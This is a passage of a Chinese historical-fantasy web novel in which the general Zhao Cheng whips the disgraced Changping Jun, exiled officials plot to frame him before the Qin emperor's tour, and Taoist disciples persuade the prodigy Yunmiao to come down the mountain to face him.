他原以为赵诚不过是做做样子,哪知这一鞭竟带着裂骨的力道,背上顿时绽开一道血痕,血珠顺着脊背往下滚,在黄土上砸出点点殷红。
他双目更是瞪得浑圆,惊愕看向赵诚。
不是,让你打你真打啊!
说好了意思一下!
你**管这个叫做意思一下!?
“你……”
然而下一个字还没有说出口,赵诚已经再次挥起荆条鞭打下来。
啪!
“嗷!!”
他力道控制得极为精湛,这种力度只会将昌平君打得皮开肉绽,却不会伤及性命。
毕竟要是一两下就打**,就太便宜他了。
“不痛如何缓和昌平君的悔过之心,我懂,我全都懂!”
“昌平君,你忍一下!”
赵诚一边说,一边将荆条挥舞得像是风火轮一般,几乎甩出了火花。
噼里啪啦的声音不绝于耳!
皮开肉绽的闷响更是让人心惊肉跳。
啪!
“嗷!”
啪!
“嗷!!”
啪!
“嗷!!!”
**!
“嗷嗷嗷!!”
第173章 裂肉荆鞭慑朝官,暗室磨牙谋锐锋
荆条裹挟着呼啸的风声,在半空织成一张密不透风的鞭影网。
紫褐色的荆条上还沾着尘土和鲜血,此刻已被染成刺目的殷红,每一次挥落都带着撕裂空气的锐响,在昌平君赤裸的脊背上甩出层层叠叠的血条。
那本是养尊处优,像覆着细腻脂粉的皮肉,此刻像被生生剥去一层。
翻卷的血肉间渗出蜿蜒的血线,很快便汇成纵横交错的血条,顺着他颤抖的腰腹往下淌,在青石板上积成一滩小小的血泊。
“啪——”
“嗷!”
脆响未落,队列后方的众官员已是齐齐一颤,连带着颌下的胡须都簌簌发抖。
有几个年长者下意识佝偻起脊背,仿佛那带着倒刺的荆条正擦着自己的皮肉掠过,后颈的冷汗顺着衣领往下滑,在官袍内侧洇出深色,衣衫已然湿透。
当此之时,所有人都是深深埋头,谁也不敢抬眸看上一眼。
檐角的铜铃被风撞得叮当作响,却盖不住那连绵的鞭声与惨嚎。
有新晋的年轻官员攥紧了袖中的锦帕,指节泛白到几乎折断。
他前日还在咸阳宫听闻昌平君作为秦相的诸多功绩,心中升起对其的仰慕和敬畏,决定得此机会,以后牢牢保住这一条大腿。
结果,今日就见这位宗室贵胄像条丧家犬般在泥地里翻滚,那**的呜咽声里,连一丝昔日的矜贵都寻不见。
这血屠赵诚……
他是真的敢!
这可是昌平君啊!
有人偷偷抬眼,瞥见城门楼阴影里立着的血衣甲士,那滚滚煞气如凝,更像是淬了寒光的矛尖直指他们的咽喉。
森寒刺痛感让他们的喉结不由自主地滚动。
连昌平君这等身份都落得如此下场,他们这些被强派来邯郸的官员,往后的日子怕是会极为难熬。
邯郸城的城门大开着,像一头沉默的巨兽张开了嘴。
门内传来隐约的市井声,却衬得门外这场酷刑愈发森然。
赵诚那张挂着淡笑的脸此刻沐浴在阳光下,面如冠玉,英武至极,圣洁得像尊玉雕。
可手中挥舞荆条的动作却狠戾如修罗,每一下都精准地落在未受伤的皮肉上,激起昌平君更凄厉的惨叫。
“别……嗷!饶……饶命啊……”
昌平君在第一鞭落下时就已崩断了所有矜持,锦缎长裤被血浸透,沾着泥沙贴在腿上。
他想蜷缩起身子,却竟然动弹不得,只能眼睁睁看着荆条再次扬起,带着死亡般的阴影劈头盖脸落下。
他自出生起便是顶尖贵族身份,饮的是琼浆玉露,穿的是绫罗绸缎,连内侍伺候时都要屏住呼吸,何曾受过这等锥心刺骨的痛楚?
更可怕的是赵诚那鬼神般的力道控制,每一击都让他痛到骨髓里,却偏生留着最后一丝清明,让他将周遭所有鄙夷、恐惧的目光都刻进脑子里。
这哪里是鞭打?
这是身体与精神的双重折磨。
是把他的尊严剥下来,在光天化日之下碾成齑粉!
“啪!啪!啪!”
鞭声像密集的鼓点,敲在每个旁观者的心上。
昌平君的惨嚎渐渐嘶哑,到后来只剩下嗬嗬的抽气声,身躯却还在本能地抽搐。
这场鞭打持续了近半个时辰,赵诚才终于停下动作。
断裂的荆条被随手扔在地上,沾着的血肉在石板上拖出长长的红痕。
赵诚俯身,像拎小鸡般提起地上那半死不活的昌平君,转身朝城门走去。
“昌平君坚持一会儿,我只是意思了几下,都是皮外伤,很快就好的。”
昌平君费力地掀开眼皮,浑浊的眼里映出赵诚含笑的脸,但那双凶眸之中的血煞,让他只觉得这笑容比最毒的蛇蝎还要可怖。
你他娘管这叫皮外伤??
“对了,若是觉得今日的悔过还不够彻底……”
赵诚忽然温和安慰着,“往后我每日都可来帮助昌平君悔过一番,也是无妨。”
昌平君浑身剧烈一颤,喉咙里发出绝望的呜咽。
赵诚鼓励似的点了点头,转而看向仍僵在原地的众官员,扬声道:
“诸位大人奉旨来邯郸赴任,怎的还立在门外?莫不是嫌弃赵某招待不周?”
话音未落,一股无形的威压便如乌云盖顶般压了过来。
那是尸山血海里泡出来的煞气,混着方才的血腥味,让众官员瞬间觉得胸口像压了块千斤巨石。
有人腿一软差点跪倒,忙不迭地低下头,踩着如同灌了铅的步子往城门里挪。
这步子挪得比乌龟都慢。
石板路上的血渍被他们的
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官靴碾过,留下一个个模糊的红印。
短短数十步的城门通道,竟像是走了半生那么漫长。
但再慢,进城的距离就那么短。
没过多久就越过了城门,进入了这让他们窒息的黑暗之城……
……
昌平君被安置在原赵国相邦的府邸里。
雕花拔步床上铺着雪白的锦褥,此刻却被他身下渗出的血水染得斑驳。
他大字型躺着,连动一下手指都牵扯得浑身剧痛,只能睁着空洞的眼望着描金的天花板,唇角挂着一丝凝固的血沫。
那些跟他同来的官员们挤在外间,个个垂头丧气。
有个老臣用袖子抹着额头的汗,发出“唉”的长叹,这声叹息像投入死水的石子,瞬间激起一片附和的唏嘘。
“唉……往后这邯郸城,怕是比囚笼还要难受啊……”
“血屠手段如此狠辣,咱们往后怕是连喘气都要看着他的脸色……”
正说着,吏部侍郎郁逊忽然起身,转身“吱呀”一声关上了雕花木窗,又反手闩上了房门。
本就昏暗的房间更加沉闷,把众人的心都闷的喘不过气来。
“郁逊你这是做什么!”
有位将军皱眉,“昌平君重伤在身,怎能关得如此严实?”
郁逊转过身,脸上不见丝毫颓丧,反而透着股异样的亢奋:
“关严实了,才好说些掏心窝子的话——难道诸位真想一辈子被那血屠踩在脚下,连句硬气话都不敢说?”
众人皆是一愣,有人迟疑道:“难道……难道郁大人有法子对付赵诚?”
郁逊猛地扬起下巴,声音却沉了下去:“眼下尚无良策。”
“你!”旁边的御史大夫气得吹胡子瞪眼,差点将手中的茶盏摔在地上。
“但咱们十七人,皆曾是朝中重臣,”
郁逊却不慌不忙地走到屋中央,目光扫过众人,“有文有武,有掌刑律的,有管钱粮的——难道合我等十七人之智,还想不出制住那血屠的法子?”
他顿了顿,压低声音:“谋事在密,这般天大的事,难道要敞开窗户说给外面的耳目听?”
话音刚落,外间忽然传来甲士巡逻的脚步声,踏在青石板上“笃笃”作响,惊得屋内众人齐齐噤声,连呼吸都放轻了几分。
第174章 密语罗织诛虎将,銮驾藏锋劫龙章
待得脚步声远去了一些,才有人轻声问道,“如今血屠已经攻克赵地全境,风头正盛,且这邯郸上下,全都是他的血衣军把守。”
“咱们虽然被陛下授予便宜行事之权,可架不住这血屠的拳头大啊。”
有老臣唉声叹气,“而且听闻这血屠有徒手接天雷,跃空斩仙师之能,就算是江湖上一顶一的**,也奈何他不得!”
“来武的,无人是他的对手,可来文的,陛下现在又极为信任他,这该如何是好?”
众人思来想去,竟然也找不到赵诚的破绽。
此时,昌平君趴在浸透血水的锦褥上,脊背上的鞭伤被冷汗浸得发疼,可听着众臣唉声叹气,眼底却燃起一簇阴火。
他曾贵为国相,如今竟然要承受如此天大**。
这血海深仇,已然让他与赵诚不共戴天。
他缓缓侧过身,动作牵动伤口,疼得牙关打战,声音却咬字发狠,“赵诚再强,也不过是秦国的一条狗罢了!”
“陛下重视他,是因为他现在有大用!”
“咱们要动赵诚,就得让陛下觉得,这不是私怨,是为大秦社稷除隐患。”
站在门后听风的楚系老臣昭雎猛地回头,铜灯的光晕在他布满皱纹的脸上跳动,“昌平君的意思是……咱们还要借陛下的刀杀赵诚?”
这一招不是没试过啊,他们现在被搞到这来了,不就是因为借刀没借来,反倒砍在了自己的脖子上?
“不然呢?”
昌平君嗤笑一声,指尖死死抠住床沿的雕花,“血衣军锐士守着邯郸内外,赵诚本人能在万军之中取上将首级,硬拼是自寻死路。
可别忘了,再过一月,陛下就要出巡邯郸了。
他来干什么?自是要清算当年欺辱过嬴氏的赵人,顺便要给赵诚封伦侯。
这既是赵诚的风光场,也能是他的断头台。”
郁逊闻言动作一顿:“可那封通敌密信刚让陛下将计就计贬过赵诚,再用构陷的法子,怕是会引火烧身。”
“谁说要构陷?”昌平君眼中闪过一丝狠戾,“咱们用‘实情’。“
“我听闻赵诚攻克赵国,一路疾驰,不取粮草,亦或者将粮草直接取出放在城中,任由百姓分抢。”
“而其所过之处,许多韩赵旧臣的土地田宅都没有细细处理,这就导致后续来源去路模糊不清。
只要让我们在军中的人做些手脚,将这些土地田宅划到赵诚麾下将士的名下……“
众臣都是反应了过来,“对啊,赵诚此人最为护短,军中都说跟着他打仗有肉吃,这正符合他的性子!”
昌平君喘了口气,身上的剧痛反倒让他越说越顺。
“陛下最恨臣下私吞战利品!
赵诚灭两国,军功震主,如今又在邯郸私分田产,结党营私。
而李斯如今成了相国,他是法家子弟,最为固守律法,只要将这些实情递到李斯案头,他自然不会善罢甘休。
此时便不需要我们出手,李斯就会把事情捅到陛下那里去!
昭雎抚着胡须沉吟起来,“吾还有一策。
陛下此次出巡,既然是带着当年的复仇火气来的,那也有地方可以做些手脚。
听说那赵诚进城之后,也未止杀戮,因私愤屠戮了不少赵室宗亲。
其中恐怕不止会有陛下需要亲自复仇的对象,还有曾经对陛下有恩之人。
只要找到这些人的痕迹,传递给陛下,陛下心里自然也不会痛快,只会觉得赵诚恃功而骄。
更能引起陛下的忌惮。“
“还有咱们这些人。”
郁逊忽然冷笑,从袖中摸出一卷竹简,“臣统计过,此次被贬到邯郸的楚系官员共二十七人,有十二人掌管着邯郸周边的粮道、驿馆。
陛下出巡,粮草驿马都得咱们经手。
到时候故意慢上半日,再在驿馆里留些‘赵诚命人克扣供应’的隐秘证据。
陛下多疑,见咱们办事不利,定会狠狠责罚。
但却无妨。
等他看到这些证据,只会觉得是赵诚因为私怨在暗中操作,打压咱们。
而昌平君都已经负荆请罪,却还是被赵诚打成重伤,这还不算,他还要打压异己,想借助陛下的手来对付咱们。
把手伸得这么长,陛下岂能善罢甘休?”
众人似乎得到了昌平君的启发,你一言我一语,说的那是极为顺畅。
再无之前的唉声叹气。
昌平君听得呼吸急促,伤口的疼痛仿佛都轻了几
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分:
“最狠的一招,是让他自己犯错。
赵诚不是要封伦侯吗?
咱们就散布流言,说‘陛下有意让赵诚兼领赵国故地,裂土为王’。
这话传到赵诚耳朵里,以他的自负,定会在接待陛下时露些骄矜之色。
陛下是什么人?
亲政后连吕不韦都处理了,怎会容忍一个外姓侯有裂土之心?
这伦侯的爵位,吾倒要看他承不承受得住!?”
说着,昌平君又想到什么,脸上露出了一丝疯狂的冷笑。
他声音压得极低,“陛下抵达前夜,让咱们安插在城外的人,挑唆些赵国残部袭扰城郊的粮营。
不必真成事,闹大动静就行。
最好闹到驾前。
到时候咱们联名上奏,说赵诚‘治下不严’,连陛下的安危都护不住。“
这话似乎又启发了郁逊,他眼睛一转说道,“若是在大乱之时,有刺客刺杀陛下,那赵诚护卫不力之罪可就……”
众人一惊。
昌平君更是目光一定,看了郁逊片刻,才开口说道,“你说了什么,要做什么,吾一概不知……”
“不过,赵诚如虎吞赵,秦国东出之势无当,陛下突然出巡邯郸,确实有被刺杀的风险啊……”
郁逊心领神会,众人若有所思,低着头一一告退。
直至最后一人离开房间,整个房间安静下来,昏暗的房间之中,微弱的天光映着昌平君眼底的阴狠。
他心知,这一计若成,不仅有扳倒赵诚的机会,还能趁机让楚系在陛下心中重获信任。
可若败了,他们这些被贬的人,只会死得更快。
想到曾经的吕不韦,又想到如今的自己,他深知陛下要的是平衡分化,而不是一边倒的功臣。
只要……
他目光挪移向窗台,想要看向窗外天光,一吐胸中郁郁之气。
却发现,窗户还关着呢。
屋子里闷得要死。
他心中这口郁郁之气顿时又憋了回去,心头大怒。
你们走倒是把窗户打开啊!
“来人,来人开窗……”
他叫了两声,声音小没人听见。
加大了声音却牵动了伤口,又是疼得浑身一颤龇牙咧嘴……
第175章 登阶叩破云扉静,林中忽现淡青衫
“亦清,越过那道断云崖,前面该就是秋水川了。”
乐成抬手拭去额角的薄汗,声音里带着几分跋涉的疲惫,却难掩眼底的急切。
在他前方不远处,横亘的千仞绝壁,崖壁如被巨斧劈开,裸露出青灰色的岩层,缝隙里嵌着千年古松,虬结的枝干之下,是无边的崖底雾霭。
故此,这里称作断云崖。
而秋水川,亦是道家洞天之一。
其景色瑰丽,人迹罕至,寻常人莫说抵达,便是寻到断云崖的入口也要耗尽半生。
两人循着道**载的方位,沿崖壁内侧的栈道又走了半日光景,眼前豁然出现一片幽蓝的寒潭。
潭水墨绿如凝脂,深不见底,水面不起一丝波澜,倒映着崖顶的流云,分不清哪是天哪是水。
潭边生着成片的水苔,绿得发黑,踩上去滑腻如锦缎,间或有几株红色的水蓼,穗子垂在水面,映得潭水泛出淡淡的胭脂色。
“就是这里了。”亦清取出腰间的玉符,指尖在符面上轻轻一划,符身顿时亮起柔和的白光。
她与乐成并肩而立,同时掐动三清诀,口中念念有词。
随着口诀声落,寒潭与对面峭壁之间的空气忽然泛起涟漪。
起初只是细微的波动,像被石子投中的镜面,转瞬便化作层层叠叠的涟漪,凝聚的气流折射阳光,在半空织成一道流动的光帘。
光帘扭曲了片刻,寒潭的水面突然“咕嘟”作响,无数细密的水线从潭底升起,在气流中凝结成晶莹的阶梯。
梯级边缘泛着淡淡的银光,每一级都似用万年寒冰雕琢而成,却又带着流水的柔润。
踏上去时竟似踩在云絮上,脚下传来清冽的凉意,潭水撞击梯壁的声音在谷中回荡,如环佩叮当。
亦清与乐成相顾一眼,提气踏上水梯。
越往上走,雾气越浓,湿冷的水汽沾在道袍上,凝成细小的水珠。
待走到水梯尽头,眼前的峭壁忽然如帷幕般向两侧分开,露出后面的洞天来。
脚下变成了青石板铺就的小径,上面覆着薄薄一层竹叶,踩上去沙沙作响。
前方立着一座清幽道观,山门是整块青石雕琢而成,没有繁复纹饰,只在门楣处刻着一道浅浅的太极图,经岁月打磨得温润如玉。
道观的屋顶覆着暗青色的木瓦,檐角悬着铜铃,却不见风吹动,倒像是被周围的灵气定住了。
只有偶尔掠过的山风带起一声轻响,余音能在谷中绕上三圈。
道观周围环着四面竹林小亭,亭柱是百年老竹削成,竹身布满苍劲的节疤,亭顶覆着茅草,边缘垂着长长的草穗。
亭中有石桌石凳,凳面长满了薄薄的青苔,桌案上置着一个粗陶茶盏,里面还剩着半盏残茶,茶渍在盏底洇出淡淡的云纹。
四周的竹林分作新旧两色,新竹翠得发碧,竹节处还凝着晨露。
老竹呈深黛色,风过处,竹叶相击如私语,倒比人声更显清幽。
二人整理好道袍上前,道观门前正扫地的道童见了,立刻放下扫帚躬身行礼,声音清脆如溪涧。
“见过亦清师姐,乐成师兄。不知二位师兄师姐远道而来,所为何事?”
亦清上前一步,语气急切:“我等师尊逍遥子入世除魔,遭受重创而归。
师尊说此魔不除,必是生灵涂炭,我等特来恳请师叔下山,除魔扶正,救苍生于水火。“
道童闻言,脸上露出为难之色,指尖绞着腰间的绦带。
“师尊不愿涉足尘俗之事,已经闭关多年,二位还是请回吧。”
亦清乐成面面相觑,都有点不能接受。
他们知道天宗道门超然物外,极少涉足世俗纷争,一心追求道的境界。
但如今她们的师尊都已经重伤,外界更有大魔乱世,怎可置之不理?
“我们不回,请让我们见师叔一面。”
“师尊如今重伤,大魔无人能制,若是师叔出手,定然能够除魔卫道!”
道童见二人坚持,也是面露难色。
最后还是为难道,“可师尊吩咐过,他闭关不理俗世,无人能够打扰他,二位若是坚持,便暂留在观中吧。”
亦清两人很是焦急,但也没法强求。
只能暂且住在观中,每日焦急等待北冥子出关。
可在那些普通弟子的口中,他们得知北冥子已经闭关三年了。
下一次出关
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也不知道是什么时候。
这消息如一盆冷水浇在二人头上,乐成整日在观中踱步,亦清则常常望着窗外的竹林发呆,眉头拧成了疙瘩。
每日在观中走来走去,想要找到能够联络北冥子之人。
这日午后,二人在观北的竹林里散心,走到那座临溪的小亭中坐下。
忽听竹林深处传来奇异的声响。
先是风啸如龙吟,紧接着是水流激荡的轰鸣,夹杂着木剑破空的锐响,竟似有人在交手。
“是有人在练功?”
乐成压低声音,眼中闪过一丝好奇。
天宗弟子向来潜心修行,极少在竹林中动武,更何况动静如此之大。
二人循声而去。
便见竹林之中,竟有光影攒动。
他们悄悄往前挪了数十步,眼前的景象让他们瞬间屏住了呼吸。
一片开阔的竹林空地上,七名身着灰袍的老道正围着一名少女,手中皆持木剑,剑身上萦绕着淡淡的白气,
七名老道手持木剑,正在**一名少女。
他们内息深厚,举手投足之间,可聚真元于三丈之外。
要知道,寻常修士能将真元凝聚于三尺之内已是难得,这七人竟能让真元外显,显然都是修为深不可测的长老级人物。
他们或引动水流席卷,或摘**花成刃,亦或者以气御剑攻向少女。
各个看起来都不弱于他们的师尊逍遥子。
乐成亦清都是看入了神。
只见那被**的少女身着一袭淡青长衫,领口袖边绣着细密的云纹,随着身形飘动,宛如一片流动的青云。
她看起来不过十六七岁的年纪,发髻上只插着一支白玉簪,几缕碎发垂在颊边,衬得肌肤胜雪,眉目如画。
面对呼啸而来的飞花水箭,她竟连眼皮都未抬一下。
只足尖在一根竹枝上轻轻一点,身形如柳絮般斜飘而出,同时左袖轻挥,带起一道柔和的气流。
那气流看似微弱,却如无形的屏障,水箭撞上去便纷纷折向,“噗噗”扎进旁边的竹林里,只溅起几片竹叶。
“以气御形,举重若轻……”亦清喃喃道,指尖下意识握紧了腰间的玉佩。
第176章 青衫轻拈万川阵,玉簪耀辉荡心魔
亦清自幼随师尊修行,见过不少方外仙师,却从未见过这般写意的神姿。
那少女的动作没有半分刻意,仿佛不是在与人相斗,而是在与清风流水共舞。
在这样的神姿面前,亦清不由自主地升起自惭形秽之感。
“喝!”
正前方的老道见两道攻击皆被化解,低喝一声,背后的木剑突然脱鞘飞出,化作一道白虹绕着少女盘旋。
剑风激起地上的落叶,形成旋转的叶涡,将她层层围住。
另外四名老道也同时出手,有的引动山石浮空砸落,有的以掌风掀起漫天尘土,有的单手掐诀打出雷光火团,有的凝气成网,束缚而来。
一时之间,七人合力,毫无保留,竟在这片竹林中布下了天罗地网。
那少女身影避无可避,无论进、退、左、右,都是杀招。
亦清看的心都提到了嗓子眼,乐成更是握紧了拳头。
这七名长老,任何一位的修为都与他们的师尊逍遥子不相上下。
七人合力,便是逍遥子也要暂避锋芒,这少女怕是……
可下一刻,少女的身影忽然变得飘忽起来。
她时而如惊鸿掠水,足尖点过竹梢,带起一串露珠。
时而如游龙绕柱,身形在竹林间曲折穿行。
衣袂扫过竹叶,带起簌簌轻响。
面对那道紧追不舍的白虹剑,她竟伸出纤纤玉指,在剑身上轻轻一点。
那蕴含着浑厚真元的木剑,竟如被顽童拨弄的柳枝般,“嗡”的一声改变了方向,斜斜插入旁边的泥土里。
山石砸来时,她衣袖一拂,气流便推着山石擦着她的肩头飞过,撞在远处的崖壁上,碎成齑粉。
雷火袭来时,她轻呵一声,口中吐出的气息遇上雷火,竟化作漫天水汽,淅淅沥沥落下来,打湿了青石板。
气网收紧时,她身形陡然拔高,如羽化登仙般飘至竹梢,令那气网顿时收了个空。
七名老道还待再攻,却不想,在他们的脚下同时传来异动。
当发现时,却已经为时已晚。
地下冒出漫天如水影般的剑光,以七人为核心,化作一片寒潭一般的剑阵。
一时之间,竹林之中浮光掠影,诸多光影一般的气刃好似游鱼一般倏忽来去,将七名老道同时笼罩在其中。
七名老道面色一变,同时爆发真元对抗,下一刻却纷纷后退一步。
七人面面相觑,都看到了彼此眼神之中的震骇。
而后亦是露出欣慰的笑容来,各自无奈摇了摇头。
整个过程中,少女始终神色淡然,唇边甚至带着一丝若有若无的笑意,仿佛眼前的激战不过是一场游戏。
她的出手从不沾丝毫烟火气,指尖划过便是清风,衣袖扬起便成流云。
看似轻柔,却总能在间不容发之际化解攻势,七名长老的攻势虽然密集,却始终没能落在她的身上。
亦清与乐成躲在竹林后,早已看得目瞪口呆。
乐成张着嘴,半天没合上,喉结滚动了两下才低声道:“这……这是何等奇才……
咱们师尊全力出手,怕是也接不住三位长老的合力攻击,她竟能同时应对七位……
而且还这般从容……”
亦清望着少女飘落在地的身影,青衫拂过草叶,连一滴露水都未曾沾带,忽然轻声道:“你看她的步法、手势、剑阵,全都是天宗最难修炼的**,而她信手拈来,恐怕已经练至大成……
这般修为,这般气度,恐怕是传闻中的那名天宗弟子。”
“你是说……几年前北冥子师叔亲自收为关门弟子的那孩子,云渺?“
话音未落,便见那七名老道收了招式,其中为首的白发老道朗声笑道。
“竟然能够在我们七人合围之下,悄无声息的布下万川秋水剑阵,同时击退我等七人,云渺的修为已经超过我等了。”
被称作云渺的少女浅浅一笑,声音如清泉漱石:“是诸位师叔承让。”
亦清与乐成在竹林后听得心头巨震,刚才那就是万川秋水阵?
天宗最难修成的剑
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阵,而刚才的云渺使用得如此的轻松,如此了无痕迹。
他们甚至连何时布下的剑阵都没有能够看出来。
二人对视一眼,都从对方眼中看到了一丝希望,或许,这位云渺,就是他们能见着北冥子的契机。
两人正对视着交换眼神,忽觉身侧的竹影微微一晃。
方才还在空地中央的云渺,竟如一片被风卷动的青云,悄无声息地落在了他们身后。
青衫拂过竹叶,连半片叶尖都未曾惊动,唯有发间玉簪折射的微光,在幽暗的竹林里漾开一圈浅淡的光晕。
“二位师兄师姐在此驻足许久,所为何事?”
她的声音清润如竹间流泉,尾音带着一丝刚结束对决的微哑,却更显通透。
前几日她为筹备与七位师叔的试炼,一直在后山丹房**调息,今日还是头回见到这两位远道而来的同门,眸中带着几分初见的澄澈打量。
亦清被这突如其来的身影惊得心头一跳,猛地转过身时,鼻尖几乎要撞上云渺的衣袖。
那衣袖上沾着淡淡的竹香,混着山涧水汽的清冽,让她莫名想起山间晨露沾在新竹上的模样。
再看云渺立在眼前,青丝如瀑,眉目间似笼着一层薄雾晨曦。
分明是与自己年岁相仿的少女,却自带一种让人心安的沉静。
她脸颊不由得泛起薄红,连声音都有些发颤:“师……师妹,我……我等是特来求见北冥子师叔,想请他老人家出山相助。”
乐成连忙上前一步,接过话头,语气里带着难掩的急切,“如今尘世遭大魔荼毒,百姓流离失所。
我师尊逍遥子不忍苍生受难,亲自下山除魔,却被那魔头重伤,至今昏迷不醒。
临行前,师尊特意嘱咐我二人,唯有北冥子师叔能与那魔头抗衡,故而冒死前来求恳。”
“大魔?”云渺眉头微微挑起,脸上出现了几许好奇和笑意,眉梢轻轻挑起,如新月初弯。
“是古书里写的那种生有鳞角、吞吐黑雾的妖魔?”
第177章 青衫立断尘缘路,七老同随欲斩魔
她修行时间不长,大部分时间都是在山中,没有下山几次。
江湖纷争、人间战乱,于她而言不过是丹房案头那些泛黄话本里的故事,偶有一些角落古本中提及“妖魔”,也多是些兴风作浪的精怪,不知真假。
从未想过竟有能重伤逍遥子这等高人的大魔存在,眸中好奇渐渐掺了些认真。
如今一听有大魔连逍遥子都能够重伤,不由得来了兴趣。
“非也。”乐成摇头,沉声说道,“此獠是秦地人氏,名唤赵诚,今年不过十六七岁,却心性歹毒至极。
听说他修炼一种邪门妖术,专以‘采生折割’之法残害无辜。
抓来活人像花草般折辱,吸其生气、饮其精血,以此催涨修为。”
他深吸一口气,语气愈发沉重:“如今他已率军连灭韩、赵两国。
城池攻破之日,屠戮从不留活口,黄河沿岸的尸骸能堆成小山,连婴孩都不放过!
我师尊修为何等精湛?
他以引天雷之术除魔,却也没能奈何那魔头,反倒受了重伤回到了洞天,至今不知能否恢复过来。“
“采生折割之术……连灭两国……”
云渺眉头皱起,她垂在身侧的指尖轻轻蜷缩。
恍惚间,仿佛又看见那年战火燎原的景象。
茅草屋在火中噼啪作响,爹娘将她藏在柴堆里时,掌心的血蹭在她脸颊上,滚烫又黏腻。
逃难路上,她攥着半块麦饼缩在断墙后,听着兵戈声越来越近,吓得连哭都不敢出声。
若不是师尊北冥子路过,将她从尸堆旁抱起,她早已成了乱世里的尸骨。
对战乱的憎恶、对无辜者的怜惜,汹涌漫过心头。
抬眸时,眸中已没了方才的澄澈,多了几分沉静的锋锐,“师尊在闭关,不容打扰。”
亦清和乐成脸上刚燃起的光瞬间暗了下去,乐成嘴唇动了动,想说些什么,却被喉头的苦涩堵得发不出声。
连云渺这等天才关门弟子也无法唤出北冥子吗?
“不过……”云渺话锋一转,青衫在风里轻轻一扬,语气里添了几分不容置疑的笃定。
“不过既然有大魔祸乱天下,我道门自然不能坐视不管,我随你们下山,会一会这大魔。”
“师妹你……”亦清猛地抬头,眼里的失望还没散尽,惊喜已如星火般炸开。
她想起方才竹林空地上的对决,云渺以一敌七,身法如游龙,招式似流风,那份从容写意,比师尊还要远胜。
有她出手,那魔头定然伏诛!
乐成更是激动的声音发颤:“师妹肯出手,那真是……真是苍生之幸!”
可话音未落,便见方才那七位长老已收了木剑,快步从空地上赶来。
为首的白发老道上前一步,语气里满是急切,“不可!”
“师侄虽然现在修为惊人,但山下的情况复杂,人心险恶,你未曾入世历练,就直接去应对这等妖孽,恐怕会着了他的道啊。”
“更何况,”右侧的老道抚着颔下长须,语气沉重了几分,“你师尊曾立下规矩,天宗弟子需潜心修道,不得干涉世俗纷争,以免被名利嗔痴污了道心。
”
“是啊是啊,”最年长的老道叹了口气,“那妖孽底细不明,手段又邪门得很,背后不知是哪来的传承。
你年纪轻轻便有这般修为,是我天宗千年难遇的奇才,再潜心修炼十年,未必不能赶上你师尊的境界。
何必为了一个魔头,冒这等风险?”
“若实在要去,不如让我等几个老家伙代劳。”
一位络腮胡老道拍了拍腰间的剑鞘,“我等独自虽不及师侄精进,但若七人合力,总不至于让那邪祟猖狂。”
云渺听着诸位师叔的劝诫,脸上始终带着浅浅的笑意,青衫在竹风里轻轻起伏,倒比七张焦急的面容更显沉静。
待众人话音稍歇,她才缓缓开口,声音不高,却字字清晰:“诸位师叔的心意,晚辈明白。
只是……师叔们可还记得,方才这场试炼的由来?”
七位老道皆是一怔,对视间露出几分难色。白发老道干咳一声,低声道:“这……自然记得。”
云渺抬眸望向竹林深处那座隐在云雾里的丹房,眸光里映着山巅的天光,“师尊素来懒理天宗俗务,诸位师叔也偏爱清修。
三年前他
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闭关前夕,曾说’若有朝一日,云渺能在与七位长老的对决中撑过十合不败,便由她执掌天宗印信,凡山门事务,皆可由她定夺。’”
她侧过身,青衫扫过脚边的青苔,语气里带着不容置疑的笃定:“方才诸位师叔与我交手,已过十三合。
晚辈虽未胜,却也未曾败。
师尊金口玉言,难道会不算数?”
哪里是未胜,明明就是完胜。
你师尊让你撑过十合就当掌门,不是让你把我们都打败了才当掌门啊……
谁能想到这丫头这么强,七个人都没能对付得了她。
七位老道一时语塞,过了片刻,白发老道才叹道:“自然是算数的。
只是……我们也是怕你出事啊。”
“晚辈明白。”
云渺浅浅一笑,眸中闪过一丝少年人的锐光,“可修行为何?难道只是闭门打坐,求得一己长生?
晚辈在山上修了十余年,读遍道藏,总说‘大道无情,却容苍生’。
如今苍生遭难,若连山门都不敢出,又算什么修道之人?”
她顿了顿,望向亦清与乐成焦急的脸,语气愈发恳切:“正好借这个机会,入世修行,看看真实的人间。
若是寻常名利嗔痴都能污了道心,这道心要之何用?
若师叔们实在放心不下,便与我一同前往。
有诸位在,便是那魔头有通天手段,晚辈也不怕。”
七位老道望着她眼中那份澄澈又坚定的锐光,仿佛看到了年轻时的自己。
他们沉默片刻,白发老道终于点了点头,抬手理了理褶皱的道袍:“也罢。你既已执掌天宗,我等自当听你调遣。
只是那赵诚若真会采生折割的邪术,须得万分小心。
咱们这就回观中备些符箓法器,明日一早便下山。”
竹风穿过林叶,发出沙沙的轻响。
此事定下。
亦清和乐成心中同时大石落地。
总算是完成了师尊的嘱托。
他们望着云渺立在竹影中的身影,觉得心头的焦灼都淡了许多。
也不知是因为那闲适从容的气场,还是因为那以一敌七的神姿……
第178章 銮驾羁途粮饷匮,小吏构谗将军名
邯郸官道上的尘土被春风扬起,车轮碾过辙痕累累的路面,发出“咯吱咯吱”的呻吟。
金根车的车厢晃得愈发厉害,玄黑色的驷马耷拉着脑袋,蹄子落在地上时带着气若游丝的沉重。
往日里神骏非凡的良驹,此刻连耳尖的鬃**都沾着灰沙,每走一步都要打个响鼻,像是在抱怨背上的轭具。
队伍的行进速度慢得像蜗牛爬。
最前方开道的虎贲郎官,本该挺直如松的脊背微微佝偻,握着长戟的手背上暴起青筋,却连挥戟驱散路边野狗的力气都快没了。
侧后方的卫士三军更显狼狈:前军的甲士把头盔推到脑后,露出被汗水浸透的发髻。
中军的**手靠在矛杆上喘气,**机的弓弦松垮地垂着。
后军的骑士在马上身体松斜,连警惕四周的眼神都透着浓浓的倦意。
而前方开道的虎贲郎官亦是浑身无力,后方护行的卫士三军亦是如此。
“混账!”
金根车内传来一声低斥,嬴政的指节重重敲在车厢壁的玉饰上,发出沉闷的响声。
他掀起车帘一角,目光扫过外面蔫头耷脑的队伍,眉头越皱越深。
“昌平君是干什么吃的?区区三万人的粮草都处理不明白?”
“原来寡人让这等酒囊饭袋当了多年相国!?“
嬴政出巡,自然不同寻常。
作为刚破邯郸的胜利者,嬴政对赵地残余势力的警惕极深,护卫必以“密不透风”为要。
其中郎中令直属郎官约三千人。
这些人多是秦室亲信、功勋子弟,善骑射、通搏杀,佩剑随侍左右,是嬴政的“贴身盾”,寸步不离车驾。
而后卫尉统领的“卫士”,约五千人。
作为外围屏障,他们披坚执锐,分作前、中、后三军,在前开路清道、侧方警戒视野、后队防备突袭,形成三里见方的警戒圈。
